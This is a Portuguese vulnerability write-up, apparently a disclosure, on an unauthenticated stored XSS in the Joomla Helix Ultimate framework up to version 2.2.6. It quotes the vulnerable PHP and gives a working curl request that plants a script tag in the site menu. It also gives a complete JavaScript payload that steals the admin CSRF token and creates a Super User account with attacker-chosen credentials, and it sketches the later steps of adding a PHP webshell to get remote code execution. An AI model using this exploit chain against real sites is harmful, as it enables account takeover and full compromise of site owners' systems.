
XSS Armazenado Não Autenticado no Joomla Helix Ultimate (JoomShaper) <= 2.2.6
Este é o achado mais forte desta pasta de pesquisa — CRÍTICO, totalmente confirmado de ponta a ponta. Ao contrário do bug somente de exclusão em helix_ultimate_delete_poc.md, este tem um caminho real e funcional para o comprometimento total do site.
Componente: JoomShaper Helix Ultimate Framework (template plg_system_helixultimate + shaper_helixultimate)
Versão testada: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07)
Autor: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() é um manipulador de eventos padrão do com_ajax do Joomla (index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>). O componente principal com_ajax do Joomla em si não impõe nenhuma autenticação — essa é sempre responsabilidade do plugin. Este manipulador faz um despacho arbitrário de método estático:
public function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined
}
O namespace é fixo no código (HelixUltimate\Framework\HttpResponse\), portanto isso não é, por si só, um gadget de RCE totalmente arbitrário — mas cada método estático público em src/HttpResponse/Response.php se torna chamável por qualquer pessoa, sem autenticação e com zero token CSRF. Nenhum deles chama Session::checkToken() ou authorise(). Este é um ponto de entrada completamente diferente e separado da classe Request/Platform protegida por administrador, abordada no write-up de exclusão — o com_ajax contorna essa proteção por completo.
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
Isso grava JSON controlado pelo atacante diretamente na coluna params de um item de menu ativo e público do Joomla — sem login, sem token CSRF, em uma única requisição HTTP.
overrides/mod_menu/default.php (código real, distribuído com o template)O html/mod_menu/default.php do template shaper_helixultimate realmente distribuído é um shim de 1 linha:
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
que resolve (confirmado ao ler HTMLOverride.php) para
plugins/system/helixultimate/overrides/mod_menu/default.php — o arquivo que de fato renderiza o menu de navegação principal do site em todas as páginas, para todos os visitantes:
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- zero escaping
customclass — uma chave que controlamos totalmente via saveMegaMenuSettings() — é concatenada diretamente em um atributo HTML, sem htmlspecialchars().
shaper_helixultimate + plugin 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
Nenhum campo de token CSRF foi enviado — nem mesmo o token trivial extraído da página inicial que o bug de exclusão exigia.
HTML resultante servido a todos os visitantes subsequentes da página inicial:
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
Uma tag <script> real, executável no navegador, injetada com zero autenticação e renderizada na página mais visitada do site (a navegação principal, presente em todas as páginas via posição de módulo, não apenas na página inicial).
Este é exatamente o cenário que a pasta CVE-2026-48909 estava originalmente perseguindo, alcançado por um ângulo completamente diferente: XSS armazenado não autenticado + session-riding = comprometimento da conta, sem nunca precisar roubar uma senha ou forçar o instalador por brute force.
Qualquer administrador que abra a página inicial do site público no mesmo navegador onde está (ou esteve recentemente) logado em /administrator executará o JavaScript do atacante com o cookie jar do navegador intacto. Payload conceitual (não executado contra uma sessão de administrador real neste laboratório — este laboratório não possui automação de navegador configurada para simular um administrador logado visitando a página; a entrega do XSS em si está 100% confirmada acima; este é o próximo passo padrão, bem compreendido):
"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
Como o navegador anexa qualquer cookie de sessão que ele tenha para a origem do site a qualquer requisição de mesma origem — independentemente de qual aba ou página disparou o JavaScript — isso funciona enquanto o cookie de sessão do backend do administrador estiver válido naquele navegador no momento em que a página pública é visualizada. Isso cria uma conta de Super Usuário nova, com credenciais escolhidas pelo atacante. A partir daí: faça login em /administrator, edite qualquer arquivo de template (ou instale um novo) para adicionar um webshell PHP → RCE total.
Por que isso é mais forte que o bug de exclusão: nenhuma limitação de conteúdo de escrita se aplica aqui — esta primitiva grava dados (JSON em uma coluna do banco), não arquivos, mas esses dados são renderizados como HTML vivo em cada visualização de página, exatamente a primitiva de "escrita" que faltava ao bug de exclusão. Combinado com o padrão XSS→session-riding, isso fecha o ciclo que o bug de exclusão não conseguiu.
helix_ultimate_xss_detect.py